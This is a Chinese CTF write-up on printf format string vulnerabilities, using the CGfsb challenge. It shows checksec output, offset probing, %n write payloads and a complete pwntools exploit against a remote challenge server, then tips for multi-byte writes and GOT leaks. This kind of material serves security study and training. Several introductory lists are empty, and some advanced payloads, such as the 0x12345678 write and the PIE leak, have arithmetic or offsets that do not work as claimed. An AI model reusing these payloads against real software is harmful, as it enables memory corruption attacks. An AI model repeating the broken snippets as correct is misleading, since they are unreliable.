我第一次接触格式化字符串漏洞是在2018年参加某次CTF比赛时,当时面对一道看似简单的题目却束手无策。那道题就是利用printf函数的特性来实现任意内存读写,最终获取flag。这种漏洞之所以危险,是因为它打破了程序对内存访问的边界控制。
格式化字符串漏洞的核心在于C语言中printf系列函数的设计缺陷。当程序员错误地使用类似printf(user_input)这样的代码时(正确做法应该是printf("%s", user_input)),攻击者就可以通过精心构造的输入字符串来操控函数的执行流程。这种漏洞在IoT设备中尤其常见,去年我在分析某款智能家居设备固件时,就发现了三处类似的漏洞。
从技术实现来看,这类漏洞主要利用了两个关键特性:
在实际漏洞利用中,攻击者通常需要解决三个关键问题:
让我们以攻防世界的CGfsb题目为例,看看如何将理论知识转化为实际攻击。这道题完美展示了格式化字符串漏洞的完整利用链。
首先用checksec检查程序保护机制:
bash复制checksec CGfsb
[*] '/home/kali/CGfsb'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
关键发现是PIE(位置无关可执行文件)保护未开启,这意味着所有符号的地址都是固定的。用IDA反编译后,可以清晰看到漏洞点:
c复制printf(&s); // 存在格式化字符串漏洞
程序逻辑很简单:如果全局变量pwnme的值被改为8,就会打印flag。我们的攻击目标就是利用格式化字符串漏洞修改这个变量。
首先需要通过爆破确定用户输入在栈中的位置。我习惯使用以下pattern:
python复制payload = b"AAAA" + b"%x."*20
发送这个payload后,观察输出中出现的41414141(AAAA的十六进制),就能确定偏移量。在CGfsb中,这个偏移量是10。
这里需要理解%n格式符的特殊作用:它将已输出的字符数写入指定地址。要写入的值是8,所以需要构造8个字符的输出。
我常用的两种构造方式:
python复制# 方法1:使用%c控制输出长度
payload = p32(0x0804A068) + b"%4c%10$n"
# 方法2:补充固定字符
payload = p32(0x0804A068) + b"aaaa" + b"%10$n"
这两种方式都能确保在%n执行前已经输出了8个字节(4字节地址+4字节填充)。
基于pwntools的完整利用代码如下:
python复制from pwn import *
context(arch='i386', os='linux')
def exploit():
# 本地测试
# p = process('./CGfsb')
# 远程连接
p = remote('61.147.171.105', 59715)
pwnme_addr = 0x0804A068
# 第一阶段:发送名字
p.recvuntil("please tell me your name:\n")
p.sendline('exploiter')
# 第二阶段:发送攻击payload
payload = p32(pwnme_addr) + b"aaaa" + b"%10$n"
p.recvuntil("leave your message please:\n")
p.sendline(payload)
# 交互模式获取flag
p.interactive()
if __name__ == "__main__":
exploit()
在实际CTF比赛中,格式化字符串漏洞的利用往往需要更精巧的构造。这里分享几个我在实战中总结的技巧:
当需要写入较大数值时(比如地址0x0804A068),可以分多次写入:
python复制payload = p32(addr) + p32(addr+1) + p32(addr+2) + p32(addr+3)
payload += b"%10$n%11$n%12$n%13$n"
通过组合%c和%n可以实现精确数值写入:
python复制# 写入0x12345678到addr
payload = p32(addr) + p32(addr+1) + p32(addr+2) + p32(addr+3)
payload += b"%18c%10$n%28c%11$n%28c%12$n%28c%13$n"
如果遇到开启PIE的情况,需要先泄露程序基址。我常用的方法是泄露某个函数的GOT表项:
python复制payload = b"%3$s" + p32(elf.got['puts'])
从开发角度,防范格式化字符串漏洞的关键是:
在CTF比赛中遇到这类题目时,我的检查清单是:
格式化字符串漏洞就像一把精巧的锁匠工具,在CTF比赛中能打开各种看似坚固的"门锁"。但记住,我们的目标不是破坏,而是通过理解漏洞本质来构建更安全的系统。每次成功利用漏洞获取flag的过程,都是对计算机系统底层原理的一次深刻理解。